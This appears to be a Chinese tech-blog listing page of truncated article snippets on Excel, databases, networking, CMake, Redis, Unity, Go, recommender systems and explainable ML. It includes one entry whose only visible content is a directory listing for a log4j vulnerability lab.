
Excel之INDIRECT函数实现某列元素上下翻转

Excel之INDIRECT函数实现某列元素上下翻转方法1&#xff1a;降序按钮1.0 使用条件1.1 选中元素序号列->排序和筛选->降序1.2 排序提醒对话框->排序1.3 处理后结果方法2&#xff1a;Indirect函数2.0 方法一的不足。2.1 INDIRECT函数处理及结果2.2 空白单元格的恢复及结…

客快物流大数据项目(一百):ClickHouse的使用

文章目录 ClickHouse的使用 一、使用Java操作ClickHouse 1、构建maven工程

用HTML+CSS构建一个绚丽的登录页面

用HTMLCSS构建一个绚丽的登录页面 参考文章&#xff1a; 动态水滴页面 自动切换背景的登录页面 登录页面代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" c…

[~/vulhub]/log4j/CVE-2021-44228-20221225

[~/vulhub]/log4j/CVE-2021-44228 ┌──(kwkl㉿kwkl)-[~/vulhub] └─$ cd log4j/CVE-2021-44228 ┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021-44228] └─$ dir 1.png 2.png docker-compose.yml README.md README.zh-cn.md┌──(kwkl㉿kwkl)-[~/vulhub/log4j/CVE-2021…

JSP ssh学生信息管理系统myeclipse开发mysql数据库MVC模式java编程计算机网页设计

一、源码特点 JSP ssh 学生信息管理系统是一套完善的web设计系统&#xff08;系统采用ssh框架进行设计开发&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;系统主要采用 B/S模式开发。开发环境为TOMCAT7.…

TCP 报文段的格式(计算机网络-运输层)

目录 TCP 报文段的格式 TCP 报文段的格式 TCP虽然是面向字节流的&#xff0c;但TCP传送的数据单元却是报文段 TCP 报文段分为首部和数据两部分。TCP 的全部功能都体现在它首部中各字段的作用 TCP 报文段首部的前 20个 字节是固定的&#xff0c;后面有 4N 字节是根据需要而增加…

在linux上安装CMake

在linux上安装CMake一、下载CMake安装包二、配置环境变量三、验证是否能执行CMake四、CMake官方文档一、下载CMake安装包 本文演示环境为Linux系统&#xff0c;Redhat7 64位。 CMake提供了两种安装方式&#xff0c;一种是预编译好的二进制包&#xff0c;还有一种就是源码方式…

GateWay网关

GateWay 1. 什么是网关 网关是微服务最边缘的服务&#xff0c;直接暴露给用户&#xff0c;用来做用户和微服务的桥梁 没有网关&#xff1a;客户端直接访问我们的微服务&#xff0c;会需要在客户端配置很多的ip&#xff1a;port&#xff0c;如果user-service并发比较大&#x…

Unity URP 曲面细分

Unity URP 曲面细分 我终于变得不像我 文章目录Unity URP 曲面细分1 曲面细分与镶嵌1.1 外壳着色器 Hull Shader1.2 镶嵌器阶段 Tessellator1.3 域着色器阶段 Domain Shader2 具体实现2.2 不同的细分策略2.2.1 Flat Tessellation2.2.2 PN Tessellation2.2.3 Phone Tessellation…

Redis分布式锁的实现方式

目录一、分布式锁是什么1、获取锁2、释放锁二、代码实例上面代码存在锁误删问题&#xff1a;三、基于SETNX实现的分布式锁存在下面几个问题1、不可重入2、不可重试3、超时释放4、主从一致性四、Redisson实现分布式锁1、pom2、配置类3、测试类五、探索tryLock源码1、tryLock源码…

微软发布 Entity Framework EF Core 8 或 EF8

Entity Framework 现已被广泛使用&#xff0c;微软首席软件工程经理 Arthur Vickers 日前在一个在线社区会议上的发言。 Entity Framework Core 8.0&#xff08;也称为 EF Core 8 或 EF8&#xff09;的未来规划。EF Core 8 是 EF Core 7 之后的下一个版本&#xff0c;这将是一个…

链表的实现:无头单向非循环链表的实现

笔者在上篇博客书写了一个名为&#xff1a;链式存储之&#xff1a;链表的引出及其简介原文链接为&#xff1a;https://blog.csdn.net/weixin_64308540/article/details/128374876?spm1001.2014.3001.5501对于此篇博客&#xff0c;在一写出来&#xff0c;便引起了巨大反响&…

Golang 【basic_leaming】函数详解

阅读目录1、函数定义2、函数的调用3、函数参数4、函数返回值5、函数变量作用域全局变量局部变量6、函数类型与变量定义函数类型函数类型变量7、高阶函数函数作为参数函数作为返回值8、匿名函数和闭包匿名函数闭包闭包进阶示例1闭包进阶示例2闭包进阶示例39、defer 语句defer 执…

Windows-试用phpthink发现原来可这样快速搭建mysql、redis等环境、xdebug

一、前言 最近在简单学习 php 国人框架 phpthink&#xff0c;不得不说牛&#xff0c;我在 github 上既然搜不到此项目… 但是发现搭建依赖环境不会&#xff0c;于是百度一下&#xff0c;几乎都是各种集成工具什么宝塔、小皮面板等等。有固然是方便&#xff0c;但为什么其它语言…

DAY5 Recommended system cold startup problem

推荐系统的冷启动问题 推荐系统冷启动概念 ⽤户冷启动&#xff1a;如何为新⽤户做个性化推荐物品冷启动&#xff1a;如何将新物品推荐给⽤户&#xff08;协同过滤&#xff09;系统冷启动&#xff1a;⽤户冷启动物品冷启动本质是推荐系统依赖历史数据&#xff0c;没有历史数据⽆…

html+圣诞树

圣诞节 基督教纪念耶稣诞生的重要节日。亦称耶稣圣诞节、主降生节&#xff0c;天主教亦称耶稣圣诞瞻礼。耶稣诞生的日期&#xff0c;《圣经》并无记载。公元336年罗马教会开始在12月25日过此节。12月25日原是罗马帝国规定的太阳神诞辰。有人认为选择这天庆祝圣诞&#xff0c;是…

【学习打卡07】 可解释机器学习笔记之Shape+Lime代码实战

可解释机器学习笔记之ShapeLime代码实战 文章目录可解释机器学习笔记之ShapeLime代码实战基于Shapley值的可解释性分析使用Pytorch对MNIST分类可解释性分析使用shap的Deep Explainer进行可视化使用Pytorch对预训练ImageNet图像分类可解释性分析指定单个预测类别指定多个预测类别…